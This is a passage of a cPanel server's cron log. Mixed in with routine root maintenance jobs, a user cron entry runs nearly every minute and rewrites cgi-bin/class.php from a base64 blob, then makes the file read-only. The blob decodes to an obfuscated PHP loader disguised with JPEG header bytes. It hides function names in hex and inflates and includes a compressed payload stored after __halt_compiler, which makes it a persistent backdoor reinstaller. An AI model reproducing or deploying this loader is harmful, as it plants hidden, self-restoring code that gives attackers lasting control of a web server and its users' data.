Nov 12 13:10:01 server CROND[9655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:11:01 server CROND[10584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:12:01 server CROND[11541]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:12:01 server CROND[11542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:13:01 server CROND[12358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:14:01 server CROND[13273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:15:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:15:01 server CROND[13905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:15:01 server CROND[13906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:16:01 server CROND[14670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:17:01 server CROND[14845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:18:01 server CROND[15597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:19:01 server CROND[16529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:20:02 server CROND[17346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:20:02 server CROND[17348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 13:20:02 server CROND[17351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 13:20:02 server CROND[17352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:20:02 server CROND[17353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:21:01 server CROND[18221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:22:01 server CROND[19042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:23:01 server CROND[19852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 